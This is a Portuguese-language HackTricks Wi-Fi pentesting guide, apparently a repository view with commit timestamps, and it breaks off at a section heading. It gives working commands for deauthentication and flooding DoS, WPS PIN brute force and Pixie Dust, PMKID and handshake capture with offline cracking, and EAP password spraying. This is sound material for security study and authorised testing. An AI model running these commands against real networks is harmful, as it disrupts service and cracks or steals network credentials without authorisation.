hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md

752 lines
52 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Pentesting Wifi
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
2022-10-27 23:22:18 +00:00
**Percepções de Hacking**\
Engaje-se com conteúdos que exploram a emoção e os desafios do hacking
2023-02-27 09:28:45 +00:00
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
2023-02-27 09:20:33 +00:00
**Últimos Anúncios**\
Fique informado sobre os mais novos programas de recompensas por bugs e atualizações importantes da plataforma
2023-02-27 09:20:33 +00:00
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
## Comandos básicos de Wifi
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
```
## Ferramentas
### EAPHammer
```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
2022-05-01 16:57:45 +00:00
### Airgeddon
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Execute o airgeddon com docker**
```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
2022-05-01 16:57:45 +00:00
### wifiphisher
2022-02-28 10:47:36 +00:00
Pode realizar ataques Evil Twin, KARMA e Known Beacons e, em seguida, usar um template de phishing para conseguir obter a senha real da rede ou capturar credenciais de redes sociais.
2022-02-28 10:47:36 +00:00
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```
2022-05-01 16:57:45 +00:00
### [Wifite2](https://github.com/derv82/wifite2)
2022-02-28 10:47:36 +00:00
Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente:
2022-02-28 10:47:36 +00:00
* Configurar a interface em modo monitor
* Escanear por redes possíveis - E permitir que você selecione a(s) vítima(s)
* Se WEP - Iniciar ataques WEP
* Se WPA-PSK
* Se WPS: Ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Note que não tenta PIN nulo ou PINs de banco de dados/gerados.
* Tentar capturar o PMKID do AP para quebrá-lo
* Tentar desautenticar clientes do AP para capturar um handshake
* Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas mais comuns.
2022-02-28 10:47:36 +00:00
## Resumo dos Ataques
2022-04-05 22:24:52 +00:00
* **DoS**
* Desautenticação/desassociação -- Desconectar todos (ou um ESSID/Cliente específico)
* APs falsos aleatórios -- Esconder redes, possível travamento de scanners
* Sobrecarga no AP -- Tentar derrubar o AP (geralmente não muito útil)
* WIDS -- Interagir com o IDS
* TKIP, EAPOL -- Alguns ataques específicos para DoS em alguns APs
* **Cracking**
* Quebrar **WEP** (várias ferramentas e métodos)
* **WPA-PSK**
* **WPS** pin "Força Bruta"
* **WPA PMKID** força bruta
* \[DoS +] **WPA handshake** captura + Cracking
* **WPA-MGT**
* **Captura de nome de usuário**
* **Força Bruta** Credenciais
* **Gêmeo Maligno** (com ou sem DoS)
* **Open** Gêmeo Maligno \[+ DoS] -- Útil para capturar credenciais de portal cativo e/ou realizar ataques na LAN
* **WPA-PSK** Gêmeo Maligno -- Útil para ataques na rede se você conhece a senha
* **WPA-MGT** -- Útil para capturar credenciais empresariais
* **KARMA, MANA**, **MANA Alto**, **Beacon conhecido**
* **+ Open** -- Útil para capturar credenciais de portal cativo e/ou realizar ataques na LAN
* **+ WPA** -- Útil para capturar handshakes WPA
## DOS
### Pacotes de Desautenticação
A maneira mais comum de realizar esse tipo de ataque é com pacotes de **desautenticação**. Estes são um tipo de quadro de "gerenciamento" responsável por desconectar um dispositivo de um ponto de acesso. Forjar esses pacotes é a chave para [hackear muitas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), pois você pode forçar a desconexão de qualquer cliente da rede a qualquer momento. A facilidade com que isso pode ser feito é um tanto assustadora e é frequentemente feito como parte da coleta de um handshake WPA para quebrar.
Além de momentaneamente usar essa desconexão para colher um handshake para quebrar, você também pode simplesmente deixar esses desauts continuarem, o que tem o efeito de bombardear o cliente com pacotes de desautenticação aparentemente vindos da rede à qual estão conectados. Como esses quadros não são criptografados, muitos programas tiram vantagem dos quadros de gerenciamento forjando-os e enviando-os para um ou todos os dispositivos em uma rede.\
**Descrição de** [**aqui**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Desautenticação usando Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
2023-06-06 18:56:34 +00:00
* \-0 significa desautenticação
* 1 é o número de desautenticações a enviar (pode enviar várias se desejar); 0 significa enviar continuamente
2023-06-06 18:56:34 +00:00
* \-a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso
* \-c 00:0F:B5:34:30:30 é o endereço MAC do cliente a desautenticar; se isto for omitido, então é enviada uma desautenticação broadcast (nem sempre funciona)
2023-06-06 18:56:34 +00:00
* ath0 é o nome da interface
### Pacotes de Desassociação
Pacotes de desassociação são outro tipo de quadro de gerenciamento que é usado para desconectar um nó (significando qualquer dispositivo como um laptop ou celular) de um ponto de acesso próximo. A diferença entre quadros de desautenticação e desassociação é principalmente a maneira como são usados.
Um AP que deseja desconectar um dispositivo não autorizado enviaria um pacote de desautenticação para informar o dispositivo que ele foi desconectado da rede, enquanto um pacote de desassociação é usado para desconectar quaisquer nós quando o AP está desligando, reiniciando ou deixando a área.
**Descrição retirada** [**daqui**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Este ataque pode ser realizado pelo mdk4(modo "d"):**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Mais ataques DOS por mdk4**
2023-06-06 18:56:34 +00:00
**De** [**aqui**](https://en.kali.tools/?p=864)**.**
**MODO DE ATAQUE b: Inundação de Beacon**
Envia quadros beacon para exibir APs falsos aos clientes. Isso pode, às vezes, travar scanners de rede e até drivers!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**MODO DE ATAQUE a: Negação de Serviço de Autenticação**
Envia quadros de autenticação para todos os APs encontrados no alcance. Um número excessivo de clientes pode congelar ou reiniciar vários APs.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**MODO DE ATAQUE p: Sondagem de SSID e Bruteforce**
Sonda APs e verifica por respostas, útil para checar se o SSID foi corretamente desmascarado e se o AP está dentro do seu alcance de envio. **Bruteforce de SSIDs ocultos** com ou sem uma wordlist também está disponível.
**MODO DE ATAQUE m: Exploração de Contramedidas Michael**
Envia pacotes aleatórios ou reinjeta duplicatas em outra fila QoS para provocar Contramedidas Michael em **APs TKIP**. O AP então será desligado por um minuto inteiro, tornando isso um **DoS** efetivo.
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
2023-06-06 18:56:34 +00:00
**MODO DE ATAQUE e: Injeção de Pacotes EAPOL Start e Logoff**
Inunda um AP com quadros **EAPOL** Start para mantê-lo ocupado com **sessões falsas** e, assim, impede que ele lide com clientes legítimos. Ou desconecta clientes **injetando falsas mensagens** de Logoff **EAPOL**.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
2023-06-06 18:56:34 +00:00
**MODO DE ATAQUE s: Ataques para redes mesh IEEE 802.11s**
Vários ataques à gestão de links e roteamento em redes mesh. Inunde vizinhos e rotas, crie buracos negros e desvie o tráfego!
**MODO DE ATAQUE w: Confusão WIDS**
Confunda/Abuse de Sistemas de Detecção e Prevenção de Intrusões conectando clientes a múltiplos nós WDS ou APs falsos e maliciosos.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**MODO DE ATAQUE f: Packet Fuzzer**
Um packet fuzzer simples com múltiplas fontes de pacotes e um bom conjunto de modificadores. Tenha cuidado!
### **Airgeddon**
2023-06-06 18:56:34 +00:00
_**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anteriores:
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (126).png>)
2022-05-01 16:57:45 +00:00
## WPS
WPS significa Wi-Fi Protected Setup. É um padrão de segurança de rede sem fio que tenta tornar as conexões entre um roteador e dispositivos sem fio mais rápidas e fáceis. **WPS funciona apenas para redes sem fio que usam uma senha** criptografada com os protocolos de segurança **WPA** Personal ou **WPA2** Personal. WPS não funciona em redes sem fio que estão usando a segurança WEP obsoleta, que pode ser facilmente quebrada por qualquer hacker com um conjunto básico de ferramentas e habilidades. (De [aqui](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
WPS usa um PIN de 8 dígitos para permitir que um usuário se conecte à rede, mas primeiro são verificados os primeiros 4 números e, se corretos, então são verificados os segundos 4 números. Então, é possível fazer Brute-Force na primeira metade e depois na segunda metade (apenas 11000 possibilidades).
### WPS Bruteforce
Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
* **Reaver** foi projetado para ser um ataque robusto e prático contra WPS, e foi testado contra uma grande variedade de pontos de acesso e implementações de WPS.
* **Bully** é uma **nova implementação** do ataque de força bruta WPS, escrita em C. Tem várias vantagens sobre o código original do reaver: menos dependências, melhor desempenho de memória e CPU, tratamento correto de endianness e um conjunto mais robusto de opções.
Este ataque tira proveito de uma **fraqueza no código PIN WPS de oito dígitos**; por causa dessa questão, o protocolo **divulga informações sobre os primeiros quatro dígitos do PIN**, e o **último** dígito funciona como um **checksum**, o que facilita a força bruta no AP WPS.\
Note que alguns dispositivos incluem **proteções contra força bruta**, que geralmente **bloqueiam endereços MAC** que tentam atacar repetidamente. Nesse caso, a complexidade deste ataque aumenta, porque você teria que **rotacionar endereços MAC** enquanto testa os PINs.
Se o código WPS válido for encontrado, tanto Bully quanto Reaver o usarão para descobrir o PSK WPA/WPA2 usado para proteger a rede, então você poderá se conectar sempre que precisar.
2022-02-28 10:47:36 +00:00
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
2022-04-28 23:27:22 +00:00
**Smart Brute force**
Em vez de começar tentando todos os PINs possíveis, você deve verificar se há **PINs descobertos para o AP que você está atacando** (dependendo do MAC do fabricante) e os **PINs gerados pelo software PIN**.
* O banco de dados de PINs conhecidos é feito para Access Points de certos fabricantes para os quais é sabido que eles usam os mesmos PINs WPS. Este banco de dados contém os três primeiros octetos dos endereços MAC e uma lista de PINs correspondentes que são muito prováveis para este fabricante.
* Existem vários algoritmos para gerar PINs WPS. Por exemplo, ComputePIN e EasyBox usam o endereço MAC do Access Point em seus cálculos. Mas o algoritmo Arcadyan também requer um ID do dispositivo.
2023-06-06 18:56:34 +00:00
### Ataque WPS Pixie Dust
Dominique Bongard descobriu que alguns APs têm formas fracas de gerar **nonces** (conhecidos como **E-S1** e **E-S2**) que deveriam ser secretos. Se conseguirmos descobrir quais são esses nonces, podemos facilmente encontrar o PIN WPS de um AP, já que o AP deve nos fornecer em um hash para provar que também conhece o PIN, e o cliente não está se conectando a um AP falso. Esses E-S1 e E-S2 são essencialmente as "chaves para destrancar a caixa de segurança" contendo o PIN WPS. Mais informações aqui: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
Basicamente, algumas implementações falharam no uso de chaves aleatórias para criptografar as 2 partes do PIN (já que ele é decomposto em 2 partes durante a comunicação de autenticação e enviado ao cliente), então um ataque offline poderia ser usado para forçar bruscamente o PIN válido.
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
2023-06-06 18:56:34 +00:00
### Ataque Null Pin
Algumas implementações muito ruins permitiam a conexão com o PIN Nulo (também muito estranho). O Reaver pode testar isso (o Bully não pode).
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
2022-05-01 16:57:45 +00:00
### Airgeddon
Todos os ataques WPS propostos podem ser facilmente realizados usando _**airgeddon.**_
![](<../../.gitbook/assets/image (124).png>)
* 5 e 6 permitem que você tente **seu PIN personalizado** (se tiver algum)
* 7 e 8 realizam o **ataque Pixie Dust**
2023-06-06 18:56:34 +00:00
* 13 permite que você teste o **PIN NULL**
* 11 e 12 irão **recolher os PINs relacionados ao AP selecionado de bancos de dados disponíveis** e **gerar** possíveis **PINs** usando: ComputePIN, EasyBox e opcionalmente Arcadyan (recomendado, por que não?)
2023-06-06 18:56:34 +00:00
* 9 e 10 testarão **todos os PINs possíveis**
2022-05-01 16:57:45 +00:00
## **WEP**
Tão quebrado e desaparecido que não vou falar sobre isso. Apenas saiba que _**airgeddon**_ tem uma opção WEP chamada "All-in-One" para atacar esse tipo de proteção. Mais ferramentas oferecem opções semelhantes.
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (125).png>)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
2023-02-27 09:20:33 +00:00
**Insights de Hacking**\
Interaja com conteúdo que explora a emoção e os desafios do hacking
2023-02-27 09:28:45 +00:00
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
2022-10-27 23:22:18 +00:00
**Últimos Anúncios**\
Fique informado com os mais novos bounties de bugs lançados e atualizações cruciais da plataforma
2023-02-27 09:20:33 +00:00
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
2022-10-27 23:22:18 +00:00
2022-05-01 16:57:45 +00:00
## WPA/WPA2 PSK
2022-05-01 16:57:45 +00:00
### PMKID
Em 2018, os autores do hashcat [divulgaram](https://hashcat.net/forum/thread-7717.html) um novo tipo de ataque que não depende apenas **de um único pacote**, mas também não requer que clientes estejam conectados ao nosso AP alvo, apenas a comunicação entre o atacante e o AP.
Acontece que **muitos** roteadores modernos adicionam um **campo opcional** no final do **primeiro quadro EAPOL** enviado pelo próprio AP quando alguém está se associando, o chamado `Robust Security Network`, que inclui algo chamado `PMKID`
Como explicado na postagem original, o **PMKID** é derivado usando dados que são conhecidos por nós:
```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
**Uma vez que a string "PMK Name" é constante, sabemos tanto o BSSID do AP quanto da estação e o `PMK` é o mesmo obtido de um handshake completo de 4 vias**, isso é tudo que o hashcat precisa para decifrar o PSK e recuperar a senha!
2023-06-06 18:56:34 +00:00
Descrição obtida [aqui](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
Para **coletar** essas informações e **forçar** localmente a senha, você pode fazer:
2022-02-28 10:47:36 +00:00
```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```
```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Os **PMKIDs capturados** serão exibidos no **console** e também **salvos** dentro de \_**/tmp/attack.pcap**\_
Agora, converta a captura para o formato **hashcat/john** e quebre-a:
2022-02-28 10:47:36 +00:00
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Observe que o formato de um hash correto contém **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
\_\_Se o seu contém **apenas** **3 partes**, então, ele é **inválido** (a captura do PMKID não foi válida).
Note que `hcxdumptool` **também captura handshakes** (algo assim aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`.
2022-02-28 10:47:36 +00:00
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Tenho notado que alguns handshakes capturados com esta ferramenta não puderam ser decifrados mesmo sabendo a senha correta. Eu recomendaria capturar handshakes também pelo método tradicional se possível, ou capturar vários deles usando esta ferramenta._
2023-06-06 18:56:34 +00:00
### Captura de Handshake
Uma maneira de atacar redes **WPA/WPA2** é capturar um **handshake** e tentar **decifrar** a senha usada **offline**. Para fazer isso, você precisa encontrar o **BSSID** e o **canal** da rede **vítima**, e um **cliente** que esteja conectado à rede.\
Uma vez que você tenha essas informações, você deve começar a **escutar** toda a comunicação desse **BSSID** naquele **canal**, porque, com sorte, o handshake será enviado lá:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
Agora você precisa **desautenticar** o **cliente** por alguns segundos para que ele se autentique automaticamente novamente ao AP (por favor, leia a parte de DoS para encontrar várias maneiras de desautenticar um cliente):
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
```
_Note que, como o cliente foi desautenticado, ele pode tentar se conectar a um AP diferente ou, em outros casos, a uma rede diferente._
Uma vez que no `airodump-ng` aparecerem algumas informações de handshake, isso significa que o handshake foi capturado e você pode parar de escutar:
![](<../../.gitbook/assets/image (172) (1).png>)
Uma vez que o handshake é capturado, você pode **crackear** com `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Verificar se o handshake está no arquivo
2022-04-28 23:27:22 +00:00
**aircrack**
```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```
**tshark**
```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```
[**cowpatty**](https://github.com/roobixx/cowpatty)
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
2023-06-06 18:56:34 +00:00
_Se esta ferramenta encontrar um handshake incompleto de um ESSID antes do completo, ela não detectará o válido._
2022-04-28 23:27:22 +00:00
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
2022-05-01 16:57:45 +00:00
## **WPA Enterprise (MGT)**
**É** importante falar sobre os **diferentes métodos de autenticação** que podem ser usados por uma Wifi empresarial. Para este tipo de Wifis, você provavelmente encontrará em `airodump-ng` algo como isto:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
**EAP** (Protocolo de Autenticação Extensível) é a **estrutura** da **comunicação de autenticação**, em cima disso, um **algoritmo de autenticação** é usado pelo servidor para autenticar o **cliente** (**supplicant**) e em alguns casos pelo cliente para autenticar o servidor.
Principais algoritmos de autenticação usados neste caso:
* **EAP-GTC:** É um método EAP para suportar o uso de tokens de hardware e senhas de uso único com EAP-PEAP. Sua implementação é semelhante ao MSCHAPv2, mas não usa um desafio entre pares. Em vez disso, as senhas são enviadas ao ponto de acesso em **texto puro** (muito interessante para ataques de rebaixamento).
* **EAP-MD-5 (Message Digest):** O cliente envia o hash MD5 da senha. **Não recomendado**: Vulnerável a ataques de dicionário, sem autenticação do servidor e sem forma de gerar chaves de privacidade equivalentes a fio (WEP) por sessão.
* **EAP-TLS (Transport Layer Security):** Baseia-se em **certificados do lado do cliente e do servidor** para realizar a autenticação e pode ser usado para gerar dinamicamente chaves WEP baseadas no usuário e na sessão para proteger comunicações subsequentes.
* **EAP-TTLS (Tunneled Transport Layer Security):** **Autenticação mútua** do cliente e da rede através de um canal criptografado (ou túnel), bem como um meio de derivar chaves WEP dinâmicas, por usuário e por sessão. Ao contrário do EAP-TLS, **o EAP-TTLS requer apenas certificados do lado do servidor (o cliente usará credenciais)**.
* **PEAP (Protected Extensible Authentication Protocol):** PEAP é como o protocolo **EAP**, mas criando um **túnel TLS** para proteger a comunicação. Então, protocolos de autenticação fracos podem ser usados em cima do EAP, pois serão protegidos pelo túnel.
* **PEAP-MSCHAPv2**: Isso também é conhecido apenas como **PEAP**, pois é amplamente adotado. É apenas o desafio/resposta vulnerável chamado MSCHAPv2 em cima do PEAP (é protegido pelo túnel TLS).
* **PEAP-EAP-TLS ou apenas PEAP-TLS**: É muito semelhante ao **EAP-TLS**, mas um túnel TLS é criado antes da troca de certificados.
Você pode encontrar mais informações sobre esses métodos de autenticação [aqui](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) e [aqui](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Captura de Nome de Usuário
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você está usando **EAP**, as **mensagens "Identity"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens **"Response Identity"**.
Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie `airodump-ng` dentro de um canal e `wireshark` na mesma interface) e filtre os pacotes por `eapol`.
Dentro do pacote "**Response, Identity**", o **nome de usuário** do cliente aparecerá.
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (150).png>)
### Identidades Anônimas
2020-08-17 11:09:21 +00:00
(Informação retirada de [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm))
2020-08-17 11:09:21 +00:00
Tanto **EAP-PEAP quanto EAP-TTLS suportam ocultação de identidade**. Em um ambiente WiFi, o ponto de acesso (AP) geralmente gera uma solicitação de Identidade EAP como parte do processo de associação. Para preservar o anonimato, o cliente EAP no sistema do usuário pode responder apenas com informações suficientes para permitir que o primeiro servidor RADIUS processe a solicitação, conforme mostrado nos seguintes exemplos.
2020-08-17 11:09:21 +00:00
* _**EAP-Identity = anonymous**_
> Neste exemplo, todos os usuários compartilharão o pseudo-nome de usuário “anonymous”. O primeiro servidor RADIUS é um servidor EAP-PEAP ou EAP-TTLS que conduz a extremidade do servidor do protocolo PEAP ou TTLS. O tipo de autenticação interna (protegida) será então tratado localmente ou encaminhado para um servidor RADIUS remoto (de origem).
2020-08-17 11:09:21 +00:00
* _**EAP-Identity = anonymous@realm_x**_
2020-08-17 11:09:21 +00:00
> Neste exemplo, usuários pertencentes a diferentes reinos ocultam sua própria identidade, mas indicam a qual reino pertencem para que o primeiro servidor RADIUS possa encaminhar as solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus reinos de origem, que atuarão como o servidor PEAP ou TTLS. O primeiro servidor atua puramente como um nó de retransmissão RADIUS.
2020-08-17 11:09:21 +00:00
>
> Alternativamente, o primeiro servidor pode atuar como o servidor EAP-PEAP ou EAP-TTLS e processar o método de autenticação protegido ou encaminhá-lo para outro servidor. Esta opção pode ser usada para configurar diferentes políticas para diferentes reinos.
2020-08-17 11:09:21 +00:00
No EAP-PEAP, uma vez que o servidor PEAP e o cliente PEAP estabelecem o túnel TLS, o servidor PEAP gera uma solicitação de Identidade EAP e a transmite pelo túnel TLS. O cliente responde a esta segunda solicitação de Identidade EAP enviando uma resposta de Identidade EAP contendo a verdadeira identidade do usuário pelo túnel criptografado. Isso impede que qualquer pessoa que esteja espionando o tráfego 802.11 descubra a verdadeira identidade do usuário.
2020-08-17 11:09:21 +00:00
O EAP-TTLS funciona de maneira um pouco diferente. Com o EAP-TTLS, o cliente normalmente se autentica via PAP ou CHAP protegido pelo túnel TLS. Neste caso, o cliente incluirá um atributo User-Name e um atributo Password ou CHAP-Password na primeira mensagem TLS enviada após o estabelecimento do túnel.
Com qualquer um dos protocolos, o servidor PEAP/TTLS aprende a verdadeira identidade do usuário uma vez que o túnel TLS tenha sido estabelecido. A verdadeira identidade pode ser na forma _**user@realm**_ ou simplesmente _**user**_. Se o servidor PEAP/TTLS também estiver autenticando o _**usuário**_, ele agora conhece a identidade do usuário e prossegue com o método de autenticação sendo protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS de origem do usuário. Esta nova solicitação RADIUS tem o protocolo PEAP ou TTLS removido. Se o método de autenticação protegido for EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS de origem sem o invólucro EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário não a identidade anônima do atributo User-Name da solicitação RADIUS de entrada. Se o método de autenticação protegido for PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação recuperados do payload TLS são colocados na mensagem RADIUS de saída no lugar do User-Name anônimo e dos atributos EAP-Message TTLS incluídos na solicitação RADIUS de entrada.
### EAP-Bruteforce (spray de senhas)
Se espera-se que o cliente use um **nome de usuário e senha** (note que **EAP-TLS não será válido** neste caso), então você poderia tentar obter uma **lista** de **nomes de usuário** (veja a próxima parte) e **senhas** e tentar **forçar a entrada** no acesso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
2022-02-28 10:47:36 +00:00
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Você também pode realizar este ataque usando `eaphammer`:
2022-02-28 10:47:36 +00:00
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```
## Ataques a Clientes Teoria
### Seleção de Rede e Roaming
Embora o protocolo 802.11 tenha regras muito específicas que ditam como uma estação pode se juntar a um ESS, ele não especifica como a estação deve selecionar um ESS para se conectar. Além disso, o protocolo permite que as estações roam livremente entre pontos de acesso que compartilham o mesmo ESSID (porque você não gostaria de perder a conectividade WiFi ao caminhar de uma ponta de um prédio para outra, etc). No entanto, o protocolo 802.11 não especifica como esses pontos de acesso devem ser selecionados. Além disso, mesmo que as estações devam ser autenticadas ao ESS para se associarem a um ponto de acesso, o protocolo 802.11 não exige que o ponto de acesso seja autenticado à estação.
### Listas de Redes Preferenciais (PNLs)
